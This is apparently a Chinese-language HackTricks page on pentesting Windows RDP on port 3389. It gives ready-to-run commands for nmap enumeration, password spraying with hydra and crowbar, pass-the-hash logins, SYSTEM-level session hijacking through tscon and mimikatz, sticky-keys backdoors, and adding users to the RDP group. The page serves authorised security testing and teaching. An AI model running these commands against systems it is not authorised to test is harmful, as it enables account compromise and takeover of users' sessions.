3389 - Pentesting RDP

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

由微软开发的远程桌面协议RDP)旨在通过网络实现计算机之间的图形界面连接。为了建立这样的连接,用户使用RDP客户端软件,同时,远程计算机需要运行RDP服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。

默认端口: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

枚举

自动化

bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

它检查可用的加密和DoS漏洞(在不对服务造成DoS的情况下),并获取NTLM Windows信息(版本)。

暴力破解

小心,您可能会锁定账户

密码喷射

小心,您可能会锁定账户

bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

使用已知凭据/哈希连接

bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

检查已知凭据是否适用于 RDP 服务

rdp_check.py 来自 impacket 让你检查某些凭据是否对 RDP 服务有效:

bash
rdp_check <domain>/<name>:<password>@<IP>

攻击

会话窃取

通过 SYSTEM 权限,您可以访问任何 用户打开的 RDP 会话,而无需知道所有者的密码。

获取打开的会话:

query user

访问所选会话

bash
tscon <ID> /dest:<SESSIONNAME>

现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。

重要:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。

您可以通过进程转储获取密码,但此方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...)

Mimikatz

您也可以使用 mimikatz 来做到这一点:

bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

结合此技术与 stickykeysutilman,您将能够随时访问管理 CMD 和任何 RDP 会话。

您可以使用以下链接搜索已经通过这些技术后门的 RDP:https://github.com/linuz/Sticky-Keys-Slayer

RDP 进程注入

如果来自不同域的某人或具有 更高权限的用户通过 RDP 登录 到您是管理员的 PC,您可以 注入 您的信标到他的 RDP 会话进程 中,并以他的身份行动:

RDP Sessions Abuse

添加用户到 RDP 组

bash
net localgroup "Remote Desktop Users" UserLoginName /add

自动化工具

AutoRDPwn 是一个用 Powershell 创建的后渗透框架,主要旨在自动化对 Microsoft Windows 计算机的 Shadow 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 在未获得受害者同意的情况下查看其桌面,甚至可以按需控制它,使用操作系统本身的本地工具。

  • EvilRDP
  • 从命令行以自动化方式控制鼠标和键盘
  • 从命令行以自动化方式控制剪贴板
  • 从客户端生成 SOCKS 代理,通过 RDP 将网络通信引导到目标
  • 在目标上执行任意 SHELL 和 PowerShell 命令,而无需上传文件
  • 即使在目标上禁用文件传输,也可以上传和下载文件到/从目标

HackTricks 自动命令

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks